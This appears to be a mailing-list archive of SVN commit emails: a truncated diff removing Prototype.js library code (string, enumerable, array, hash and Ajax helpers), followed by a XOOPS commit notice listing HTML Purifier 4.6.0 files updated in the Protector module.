- return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase();
- },
-
- dasherize: function() {
- return this.gsub(/_/,'-');
- },
-
- inspect: function(useDoubleQuotes) {
- var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) {
- var character = String.specialChar[match[0]];
- return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
- });
- if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
- return "'" + escapedString.replace(/'/g, '\\\'') + "'";
- },
-
- toJSON: function() {
- return this.inspect(true);
- },
-
- unfilterJSON: function(filter) {
- return this.sub(filter || Prototype.JSONFilter, '#{1}');
- },
-
- isJSON: function() {
- var str = this;
- if (str.blank()) return false;
- str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
- return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
- },
-
- evalJSON: function(sanitize) {
- var json = this.unfilterJSON();
- try {
- if (!sanitize || json.isJSON()) return eval('(' + json + ')');
- } catch (e) { }
- throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
- },
-
- include: function(pattern) {
- return this.indexOf(pattern) > -1;
- },
-
- startsWith: function(pattern) {
- return this.indexOf(pattern) === 0;
- },
-
- endsWith: function(pattern) {
- var d = this.length - pattern.length;
- return d >= 0 && this.lastIndexOf(pattern) === d;
- },
-
- empty: function() {
- return this == '';
- },
-
- blank: function() {
- return /^\s*$/.test(this);
- },
-
- interpolate: function(object, pattern) {
- return new Template(this, pattern).evaluate(object);
- }
-});
-
-if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
- escapeHTML: function() {
- return this.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');
- },
- unescapeHTML: function() {
- return this.stripTags().replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');
- }
-});
-
-String.prototype.gsub.prepareReplacement = function(replacement) {
- if (Object.isFunction(replacement)) return replacement;
- var template = new Template(replacement);
- return function(match) { return template.evaluate(match) };
-};
-
-String.prototype.parseQuery = String.prototype.toQueryParams;
-
-Object.extend(String.prototype.escapeHTML, {
- div: document.createElement('div'),
- text: document.createTextNode('')
-});
-
-String.prototype.escapeHTML.div.appendChild(String.prototype.escapeHTML.text);
-
-var Template = Class.create({
- initialize: function(template, pattern) {
- this.template = template.toString();
- this.pattern = pattern || Template.Pattern;
- },
-
- evaluate: function(object) {
- if (Object.isFunction(object.toTemplateReplacements))
- object = object.toTemplateReplacements();
-
- return this.template.gsub(this.pattern, function(match) {
- if (object == null) return '';
-
- var before = match[1] || '';
- if (before == '\\') return match[2];
-
- var ctx = object, expr = match[3];
- var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
- match = pattern.exec(expr);
- if (match == null) return before;
-
- while (match != null) {
- var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
- ctx = ctx[comp];
- if (null == ctx || '' == match[3]) break;
- expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
- match = pattern.exec(expr);
- }
-
- return before + String.interpret(ctx);
- });
- }
-});
-Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
-
-var $break = { };
-
-var Enumerable = {
- each: function(iterator, context) {
- var index = 0;
- try {
- this._each(function(value) {
- iterator.call(context, value, index++);
- });
- } catch (e) {
- if (e != $break) throw e;
- }
- return this;
- },
-
- eachSlice: function(number, iterator, context) {
- var index = -number, slices = [], array = this.toArray();
- if (number < 1) return array;
- while ((index += number) < array.length)
- slices.push(array.slice(index, index+number));
- return slices.collect(iterator, context);
- },
-
- all: function(iterator, context) {
- iterator = iterator || Prototype.K;
- var result = true;
- this.each(function(value, index) {
- result = result && !!iterator.call(context, value, index);
- if (!result) throw $break;
- });
- return result;
- },
-
- any: function(iterator, context) {
- iterator = iterator || Prototype.K;
- var result = false;
- this.each(function(value, index) {
- if (result = !!iterator.call(context, value, index))
- throw $break;
- });
- return result;
- },
-
- collect: function(iterator, context) {
- iterator = iterator || Prototype.K;
- var results = [];
- this.each(function(value, index) {
- results.push(iterator.call(context, value, index));
- });
- return results;
- },
-
- detect: function(iterator, context) {
- var result;
- this.each(function(value, index) {
- if (iterator.call(context, value, index)) {
- result = value;
- throw $break;
- }
- });
- return result;
- },
-
- findAll: function(iterator, context) {
- var results = [];
- this.each(function(value, index) {
- if (iterator.call(context, value, index))
- results.push(value);
- });
- return results;
- },
-
- grep: function(filter, iterator, context) {
- iterator = iterator || Prototype.K;
- var results = [];
-
- if (Object.isString(filter))
- filter = new RegExp(filter);
-
- this.each(function(value, index) {
- if (filter.match(value))
- results.push(iterator.call(context, value, index));
- });
- return results;
- },
-
- include: function(object) {
- if (Object.isFunction(this.indexOf))
- if (this.indexOf(object) != -1) return true;
-
- var found = false;
- this.each(function(value) {
- if (value == object) {
- found = true;
- throw $break;
- }
- });
- return found;
- },
-
- inGroupsOf: function(number, fillWith) {
- fillWith = Object.isUndefined(fillWith) ? null : fillWith;
- return this.eachSlice(number, function(slice) {
- while(slice.length < number) slice.push(fillWith);
- return slice;
- });
- },
-
- inject: function(memo, iterator, context) {
- this.each(function(value, index) {
- memo = iterator.call(context, memo, value, index);
- });
- return memo;
- },
-
- invoke: function(method) {
- var args = $A(arguments).slice(1);
- return this.map(function(value) {
- return value[method].apply(value, args);
- });
- },
-
- max: function(iterator, context) {
- iterator = iterator || Prototype.K;
- var result;
- this.each(function(value, index) {
- value = iterator.call(context, value, index);
- if (result == null || value >= result)
- result = value;
- });
- return result;
- },
-
- min: function(iterator, context) {
- iterator = iterator || Prototype.K;
- var result;
- this.each(function(value, index) {
- value = iterator.call(context, value, index);
- if (result == null || value < result)
- result = value;
- });
- return result;
- },
-
- partition: function(iterator, context) {
- iterator = iterator || Prototype.K;
- var trues = [], falses = [];
- this.each(function(value, index) {
- (iterator.call(context, value, index) ?
- trues : falses).push(value);
- });
- return [trues, falses];
- },
-
- pluck: function(property) {
- var results = [];
- this.each(function(value) {
- results.push(value[property]);
- });
- return results;
- },
-
- reject: function(iterator, context) {
- var results = [];
- this.each(function(value, index) {
- if (!iterator.call(context, value, index))
- results.push(value);
- });
- return results;
- },
-
- sortBy: function(iterator, context) {
- return this.map(function(value, index) {
- return {
- value: value,
- criteria: iterator.call(context, value, index)
- };
- }).sort(function(left, right) {
- var a = left.criteria, b = right.criteria;
- return a < b ? -1 : a > b ? 1 : 0;
- }).pluck('value');
- },
-
- toArray: function() {
- return this.map();
- },
-
- zip: function() {
- var iterator = Prototype.K, args = $A(arguments);
- if (Object.isFunction(args.last()))
- iterator = args.pop();
-
- var collections = [this].concat(args).map($A);
- return this.map(function(value, index) {
- return iterator(collections.pluck(index));
- });
- },
-
- size: function() {
- return this.toArray().length;
- },
-
- inspect: function() {
- return '#<Enumerable:' + this.toArray().inspect() + '>';
- }
-};
-
-Object.extend(Enumerable, {
- map: Enumerable.collect,
- find: Enumerable.detect,
- select: Enumerable.findAll,
- filter: Enumerable.findAll,
- member: Enumerable.include,
- entries: Enumerable.toArray,
- every: Enumerable.all,
- some: Enumerable.any
-});
-function $A(iterable) {
- if (!iterable) return [];
- if (iterable.toArray) return iterable.toArray();
- var length = iterable.length || 0, results = new Array(length);
- while (length--) results[length] = iterable[length];
- return results;
-}
-
-if (Prototype.Browser.WebKit) {
- $A = function(iterable) {
- if (!iterable) return [];
- // In Safari, only use the `toArray` method if it's not a NodeList.
- // A NodeList is a function, has an function `item` property, and a numeric
- // `length` property. Adapted from Google Doctype.
- if (!(typeof iterable === 'function' && typeof iterable.length ===
- 'number' && typeof iterable.item === 'function') && iterable.toArray)
- return iterable.toArray();
- var length = iterable.length || 0, results = new Array(length);
- while (length--) results[length] = iterable[length];
- return results;
- };
-}
-
-Array.from = $A;
-
-Object.extend(Array.prototype, Enumerable);
-
-if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
-
-Object.extend(Array.prototype, {
- _each: function(iterator) {
- for (var i = 0, length = this.length; i < length; i++)
- iterator(this[i]);
- },
-
- clear: function() {
- this.length = 0;
- return this;
- },
-
- first: function() {
- return this[0];
- },
-
- last: function() {
- return this[this.length - 1];
- },
-
- compact: function() {
- return this.select(function(value) {
- return value != null;
- });
- },
-
- flatten: function() {
- return this.inject([], function(array, value) {
- return array.concat(Object.isArray(value) ?
- value.flatten() : [value]);
- });
- },
-
- without: function() {
- var values = $A(arguments);
- return this.select(function(value) {
- return !values.include(value);
- });
- },
-
- reverse: function(inline) {
- return (inline !== false ? this : this.toArray())._reverse();
- },
-
- reduce: function() {
- return this.length > 1 ? this : this[0];
- },
-
- uniq: function(sorted) {
- return this.inject([], function(array, value, index) {
- if (0 == index || (sorted ? array.last() != value : !array.include(value)))
- array.push(value);
- return array;
- });
- },
-
- intersect: function(array) {
- return this.uniq().findAll(function(item) {
- return array.detect(function(value) { return item === value });
- });
- },
-
- clone: function() {
- return [].concat(this);
- },
-
- size: function() {
- return this.length;
- },
-
- inspect: function() {
- return '[' + this.map(Object.inspect).join(', ') + ']';
- },
-
- toJSON: function() {
- var results = [];
- this.each(function(object) {
- var value = Object.toJSON(object);
- if (!Object.isUndefined(value)) results.push(value);
- });
- return '[' + results.join(', ') + ']';
- }
-});
-
-// use native browser JS 1.6 implementation if available
-if (Object.isFunction(Array.prototype.forEach))
- Array.prototype._each = Array.prototype.forEach;
-
-if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
- i || (i = 0);
- var length = this.length;
- if (i < 0) i = length + i;
- for (; i < length; i++)
- if (this[i] === item) return i;
- return -1;
-};
-
-if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
- i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
- var n = this.slice(0, i).reverse().indexOf(item);
- return (n < 0) ? n : i - n - 1;
-};
-
-Array.prototype.toArray = Array.prototype.clone;
-
-function $w(string) {
- if (!Object.isString(string)) return [];
- string = string.strip();
- return string ? string.split(/\s+/) : [];
-}
-
-if (Prototype.Browser.Opera){
- Array.prototype.concat = function() {
- var array = [];
- for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
- for (var i = 0, length = arguments.length; i < length; i++) {
- if (Object.isArray(arguments[i])) {
- for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
- array.push(arguments[i][j]);
- } else {
- array.push(arguments[i]);
- }
- }
- return array;
- };
-}
-Object.extend(Number.prototype, {
- toColorPart: function() {
- return this.toPaddedString(2, 16);
- },
-
- succ: function() {
- return this + 1;
- },
-
- times: function(iterator, context) {
- $R(0, this, true).each(iterator, context);
- return this;
- },
-
- toPaddedString: function(length, radix) {
- var string = this.toString(radix || 10);
- return '0'.times(length - string.length) + string;
- },
-
- toJSON: function() {
- return isFinite(this) ? this.toString() : 'null';
- }
-});
-
-$w('abs round ceil floor').each(function(method){
- Number.prototype[method] = Math[method].methodize();
-});
-function $H(object) {
- return new Hash(object);
-};
-
-var Hash = Class.create(Enumerable, (function() {
-
- function toQueryPair(key, value) {
- if (Object.isUndefined(value)) return key;
- return key + '=' + encodeURIComponent(String.interpret(value));
- }
-
- return {
- initialize: function(object) {
- this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
- },
-
- _each: function(iterator) {
- for (var key in this._object) {
- var value = this._object[key], pair = [key, value];
- pair.key = key;
- pair.value = value;
- iterator(pair);
- }
- },
-
- set: function(key, value) {
- return this._object[key] = value;
- },
-
- get: function(key) {
- // simulating poorly supported hasOwnProperty
- if (this._object[key] !== Object.prototype[key])
- return this._object[key];
- },
-
- unset: function(key) {
- var value = this._object[key];
- delete this._object[key];
- return value;
- },
-
- toObject: function() {
- return Object.clone(this._object);
- },
-
- keys: function() {
- return this.pluck('key');
- },
-
- values: function() {
- return this.pluck('value');
- },
-
- index: function(value) {
- var match = this.detect(function(pair) {
- return pair.value === value;
- });
- return match && match.key;
- },
-
- merge: function(object) {
- return this.clone().update(object);
- },
-
- update: function(object) {
- return new Hash(object).inject(this, function(result, pair) {
- result.set(pair.key, pair.value);
- return result;
- });
- },
-
- toQueryString: function() {
- return this.inject([], function(results, pair) {
- var key = encodeURIComponent(pair.key), values = pair.value;
-
- if (values && typeof values == 'object') {
- if (Object.isArray(values))
- return results.concat(values.map(toQueryPair.curry(key)));
- } else results.push(toQueryPair(key, values));
- return results;
- }).join('&');
- },
-
- inspect: function() {
- return '#<Hash:{' + this.map(function(pair) {
- return pair.map(Object.inspect).join(': ');
- }).join(', ') + '}>';
- },
-
- toJSON: function() {
- return Object.toJSON(this.toObject());
- },
-
- clone: function() {
- return new Hash(this);
- }
- }
-})());
-
-Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
-Hash.from = $H;
-var ObjectRange = Class.create(Enumerable, {
- initialize: function(start, end, exclusive) {
- this.start = start;
- this.end = end;
- this.exclusive = exclusive;
- },
-
- _each: function(iterator) {
- var value = this.start;
- while (this.include(value)) {
- iterator(value);
- value = value.succ();
- }
- },
-
- include: function(value) {
- if (value < this.start)
- return false;
- if (this.exclusive)
- return value < this.end;
- return value <= this.end;
- }
-});
-
-var $R = function(start, end, exclusive) {
- return new ObjectRange(start, end, exclusive);
-};
-
-var Ajax = {
- getTransport: function() {
- return Try.these(
- function() {return new XMLHttpRequest()},
- function() {return new ActiveXObject('Msxml2.XMLHTTP')},
- function() {return new ActiveXObject('Microsoft.XMLHTTP')}
- ) || false;
- },
-
- activeRequestCount: 0
-};
-
-Ajax.Responders = {
- responders: [],
-
- _each: function(iterator) {
- this.responders._each(iterator);
- },
-
- register: function(responder) {
- if (!this.include(responder))
- this.responders.push(responder);
- },
-
- unregister: function(responder) {
- this.responders = this.responders.without(responder);
- },
-
- dispatch: function(callback, request, transport, json) {
- this.each(function(responder) {
- if (Object.isFunction(responder[callback])) {
- try {
- responder[callback].apply(responder, [request, transport, json]);
- } catch (e) { }
- }
- });
- }
-};
-
-Object.extend(Ajax.Responders, Enumerable);
-
-Ajax.Responders.register({
- onCreate: function() { Ajax.activeRequestCount++ },
- onComplete: function() { Ajax.activeRequestCount-- }
-});
-
-Ajax.Base = Class.create({
- initialize: function(options) {
- this.options = {
- method: 'post',
- asynchronous: true,
- contentType: 'application/x-www-form-urlencoded',
- encoding: 'UTF-8',
- parameters: '',
- evalJSON: true,
- evalJS: true
- };
- Object.extend(this.options, options || { });
-
- this.options.method = this.options.method.toLowerCase();
-
- if (Object.isString(this.options.parameters))
- this.options.parameters = this.options.parameters.toQueryParams();
- else if (Object.isHash(this.options.parameters))
- this.options.parameters = this.options.parameters.toObject();
- }
-});
-
-Ajax.Request = Class.create(Ajax.Base, {
- _complete: false,
-
- initialize: function($super, url, options) {
- $super(options);
- this.transport = Ajax.getTransport();
- this.request(url);
- },
-
- request: function(url) {
- this.url = url;
- this.method = this.options.method;
- var params = Object.clone(this.options.parameters);
-
- if (!['get', 'post'].include(this.method)) {
- // simulate other verbs over post
- params['_method'] = this.method;
- this.method = 'post';
- }
-
- this.parameters = params;
-
- if (params = Object.toQueryString(params)) {
- // when GET, append parameters to URL
- if (this.method == 'get')
- this.url += (this.url.include('?') ? '&' : '?') + params;
- else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
- params += '&_=';
- }
-
- try {
- var response = new Ajax.Response(this);
- if (this.options.onCreate) this.options.onCreate(response);
- Ajax.Responders.dispatch('onCreate', this, response);
-
- this.transport.open(this.method.toUpperCase(), this.url,
- this.options.asynchronous);
-
- if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
-
- this.transport.onreadystatechange = this.onStateChange.bind(this);
- this.setRequestHeaders();
-
- this.body = this.method == 'post' ? (this.options.postBody || params) : null;
- this.transport.send(this.body);
-
- /* Force Firefox to handle ready state 4 for synchronous requests */
- if (!this.options.asynchronous && this.transport.overrideMimeType)
- this.onStateChange();
-
- }
- catch (e) {
- this.dispatchException(e);
- }
- },
-
- onStateChange: function() {
- var readyState = this.transport.readyState;
- if (readyState > 1 && !((readyState == 4) && this._complete))
- this.respondToReadyState(this.transport.readyState);
- },
-
- setRequestHeaders: function() {
- var headers = {
- 'X-Requested-With': 'XMLHttpRequest',
- 'X-Prototype-Version': Prototype.Version,
- 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
- };
-
- if (this.method == 'post') {
- headers['Content-type'] = this.options.contentType +
- (this.options.encoding ? '; charset=' + this.options.encoding : '');
-
- /* Force "Connection: close" for older Mozilla browsers to work
- * around a bug where XMLHttpRequest sends an incorrect
- * Content-length header. See Mozilla Bugzilla #246651.
- */
- if (this.transport.overrideMimeType &&
- (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
- headers['Connection'] = 'close';
- }
-
- // user-defined headers
- if (typeof this.options.requestHeaders == 'object') {
- var extras = this.options.requestHeaders;
-
- if (Object.isFunction(extras.push))
- for (var i = 0, length = extras.length; i < length; i += 2)
- headers[extras[i]] = extras[i+1];
- else
- $H(extras).each(function(pair) { headers[pair.key] = pair.value });
- }
-
- for (var name in headers)
- this.transport.setRequestHeader(name, headers[name]);
- },
-
- success: function() {
- var status = this.getStatus();
- return !status || (status >= 200 && status < 300);
- },
-
- getStatus: function() {
- try {
- return this.transport.status || 0;
- } catch (e) { return 0 }
- },
-
- respondToReadyState: function(readyState) {
- var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
-
- if (state == 'Complete') {
- try {
- this._complete = true;
- (this.options['on' + response.status]
- || this.options['on' + (this.success() ? 'Success' : 'Failure')]
- || Prototype.emptyFunction)(response, response.headerJSON);
- } catch (e) {
- this.dispatchException(e);
- }
-
- var contentType = response.getHeader('Content-type');
- if (this.options.evalJS == 'force'
- || (this.options.evalJS && this.isSameOrigin() && contentType
- && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
- this.evalResponse();
- }
-
- try {
- (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
- Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
- } catch (e) {
- this.dispatchException(e);
- }
-
- if (state == 'Complete') {
- // avoid memory leak in MSIE: clean up
- this.transport.onreadystatechange = Prototype.emptyFunction;
- }
- },
-
- isSameOrigin: function() {
- var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
- return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
- protocol: location.protocol,
- domain: document.domain,
- port: location.port ? ':' + location.port : ''
- }));
- },
-
- getHeader: function(name) {
- try {
- return this.transport.getResponseHeader(name) || null;
- } catch (e) { return null }
- },
-
- evalResponse: function() {
- try {
- return eval((this.transport.responseText || '').unfilterJSON());
- } catch (e) {
- this.dispatchException(e);
- }
- },
-
- dispatchException: function(exception) {
- (this.options.onException || Prototype.emptyFunction)(this, exception);
- Ajax.Responders.dispatch('onException', this, exception);
- }
-});
-
-Ajax.Request.Events =
- ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
-
-Ajax.Response = Class.create({
- initialize: function(request){
- this.request = request;
- var transport = this.transport = request.transport,
- readyState = this.readyState = transport.readyState;
-
- if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
- this.status = this.getStatus();
- this.statusText = this.getStatusText();
- this.responseText = String.interpret(transport.responseText);
- this.headerJSON = this._getHeaderJSON();
- }
-
- if(readyState == 4) {
- var xml = transport.responseXML;
- this.responseXML = Object.isUndefined(xml) ? null : xml;
- this.responseJSON = this._getResponseJSON();
- }
- },
-
- status: 0,
- statusText: '',
-
- getStatus: Ajax.Request.prototype.getStatus,
-
- getStatusText: function() {
- try {
- return this.transport.statusText || '';
- } catch (e) { return '' }
- },
-
- getHeader: Ajax.Request.prototype.getHeader,
-
- getAllHeaders: function() {
- try {
- return this.getAllResponseHeaders();
- } catch (e) { return null }
- },
-
- getResponseHeader: function(name) {
- return this.transport.getResponseHeader(name);
- },
-
- getAllResponseHeaders: function() {
- return this.transport.getAllResponseHeaders();
- },
-
- _getHeaderJSON: function() {
- var json = this.getHeader('X-JSON');
- if (!json) return null;
- json = decodeURIComponent(escape(json));
- try {
- return json.evalJSON(this.request.options.sanitizeJSON ||
- !this.request.isSameOrigin());
- } catch (e) {
- this.request.dispatchException(e);
- }
- },
-
- _getResponseJSON: function() {
- var options = this.request.options;
- if (!options.evalJSON || (options.evalJSON != 'force' &&
- !(this.getHeader('Content-type') || '').include('application/json')) ||
- this.responseText.blank())
- return null;
- try {
- return this.responseText.evalJSON(options.sanitizeJSON ||
- !this.request.isSameOrigin());
- } catch (e) {
- this.request.dispatchException(e);
- }
- }
-});
-
-Ajax.Updater = Class.create(Ajax.Request, {
- initialize: function($super, container, url, options) {
- this.container = {
- success: (container.success || container),
- failure: (container.failure || (container.success ? null : container))
- };
-
- options = Object.clone(options);
- var onComplete = options.onComplete;
- options.onComplete = (function(response, json) {
- this.updateContent(response.responseText);
- if (Object.isFunction(onComplete)) onComplete(response, json);
- }).bind(this);
-
- $super(url, options);
- },
-
- updateContent: function(responseText) {
- var receiver = this.container[this.success() ? 'success' : 'failure'],
- options = this.options;
-
- if (!options.evalScripts) responseText = responseText.stripScripts();
-
- if (receiver = $(receiver)) {
- if (options.insertion) {
- if (Object.isString(options.insertion)) {
- var insertion = { }; insertion[options.insertion] = responseText;
- receiver.insert(insertion);
- }
- else options.insertion(receiver, responseText);
- }
- else receiver.update(responseText);
- }
- }
-});
-
-Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
- initialize: function($super, container, url, options) {
- $super(options);
- this.onComplete = this.options.onComplete;
-
- this.frequency = (this.options.frequency || 2);
- this.decay = (this.options.decay || 1);
-
- this.updater = { };
- this.container = container;
- this.url = url;
-
- this.start();
- },
-
- start: function() {
- this.options.onComplete = this.updateComplete.bind(this);
- this.onTimerEvent();
- },
-
- stop: function() {
- this.updater.options.onComplete = undefined;
- clearTimeout(this.timer);
- (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
- },
-
- updateComplete: function(response) {
- if (this.options.decay) {
- this.decay = (response.responseText == this.lastText ?
- this.decay * this.options.decay : 1);
-
- this.lastText = response.responseText;
- ...
[truncated message content] |
|
From: <be...@us...> - 2014-02-15 07:35:42
|
Revision: 12315
http://sourceforge.net/p/xoops/svn/12315
Author: beckmi
Date: 2014-02-15 07:35:30 +0000 (Sat, 15 Feb 2014)
Log Message:
-----------
Updated HTML Purifier to 4.6.0 (mamba)
Modified Paths:
--------------
XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrCollections.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Background.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Border.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Color.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Composite.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Filter.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Font.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/FontFamily.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Ident.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Length.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/ListStyle.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Multiple.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Number.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/Percentage.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/URI.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/Clone.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/Enum.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/Bool.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/Class.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/Color.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/ID.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/Length.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/MultiLength.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/HTML/Pixels.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/Integer.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/Lang.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/Switch.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/Text.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/URI/Email.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/URI/Host.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/URI/IPv4.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/URI/IPv6.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/URI.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Background.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/BdoDir.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/BgColor.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/BoolToCSS.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Border.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/EnumToCSS.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/ImgRequired.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/ImgSpace.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Input.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Lang.php
